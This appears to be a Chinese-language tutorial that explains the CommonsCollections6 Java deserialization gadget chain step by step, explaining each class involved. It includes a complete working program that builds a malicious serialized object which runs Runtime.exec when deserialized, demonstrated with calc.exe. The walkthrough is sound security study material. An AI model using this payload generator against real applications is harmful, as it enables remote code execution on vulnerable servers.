在java的8u71版本后,AnnotationInvocationHandler
类的readObject方法逻辑变化了
这就导致了我们的CC1链子失效
所以这里有另一种链子较为通用
ysoserialCommonsCollections6:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
// Step 1: 构造Transformer链(最终触发Runtime.exec)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 弹出计算器(Windows)
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);

// Step 2: 创建LazyMap并关联Transformer链
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// Step 3: 将LazyMap封装到TiedMapEntry中
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

// Step 4: 将TiedMapEntry放入HashMap以触发反序列化链
HashMap hashMap = new HashMap();
hashMap.put(entry, "bar");

// Step 5: 移除LazyMap中的缓存,确保反序列化时触发链
lazyMap.remove("foo");

// Step 6: 生成恶意序列化数据
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

// Step 7: 模拟反序列化攻击(触发漏洞)
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 此处弹出计算器
}
}

分析:

  • 翻译器链子

这个还是和CC1最后一样,
反射调用到Runtime进行命令执行:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 弹出计算器(Windows)
)
};

ChainedTransformer chain = new ChainedTransformer(transformers);

实际上执行的操作:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

此时如果执行:

chain.transform("a");

则弹出计算器

  • LazyMap
    // Step 2: 创建LazyMap并关联Transformer链
    Map lazyMap = LazyMap.decorate(new HashMap(), chain);
    这个类的作用是实现一个懒加载
    怎么实现的呢?
    看看它的构造方法以及get()方法:
    protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
    }

    public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;
    }
    return map.get(key);
    }
    可见生成对象的时候可以传入一个翻译器作为值加工厂
    当从LazyMap里get值的时候

如果没有get到,就会根据键名加工出一个值(value)来
返回并加到map中
这就实现了翻译操作的触发

这时候触发弹出计算器的操作:

lazyMap.get("ciallo");
  • TiedMapEntry

其设计初衷是简化键值对的绑定操作,并提供延迟加载或动态计算的特性。
在实际开发中,它的应用场景相对有限,但在特定需求下可以发挥独特作用。
当需要按需生成或加载某些资源(如缓存数据、动态配置)时,
结合LazyMap使用TiedMapEntry
可以避免一次性加载所有数据,减少资源消耗

使用例子:

// 定义一个 Transformer,按需生成 Value
Transformer lazyTransformer = new Transformer() {
@Override
public Object transform(Object key) {
// 模拟耗时操作(如数据库查询)
System.out.println("Generating value for key: " + key);
return "Value_" + key;
}
};

// 创建 LazyMap,绑定自定义 Transformer
Map<String, Object> lazyMap = LazyMap.decorate(new HashMap<>(), lazyTransformer);

// 绑定键与 LazyMap
TiedMapEntry tiedEntry = new TiedMapEntry(lazyMap, "user_123");

// 首次调用 getValue() 触发延迟加载
System.out.println(tiedEntry.getValue());
// 输出: Generating value for key: user_123 → Value_user_123

System.out.println(tiedEntry.getValue());
// 直接返回缓存值 → Value_user_123

一般与LazyMap绑定使用
他的hashcode方法中调用了触发LazyMapget
他的构造方法、hashcode以及getvalue方法:

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public Object getValue() {
return map.get(key);
}

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

那么我们找一找怎么调用他的hashcode
这个东西非常眼熟
我们在URLDNS链子里一起看过
现在目标就从调用URL类的hashcode
转换为了TiedMapEntryhashcode
弹出计算器的操作:

entry.hashCode();
  • HashMap
    HashMap hashMap = new HashMap();
    hashMap.put(entry, "bar");
    // Step 5: 移除LazyMap中的缓存,确保反序列化时触发链
    lazyMap.remove("foo");

之后序列化即可:

// Step 6: 生成恶意序列化数据
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();

// Step 7: 模拟反序列化攻击(触发漏洞)
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 此处弹出计算器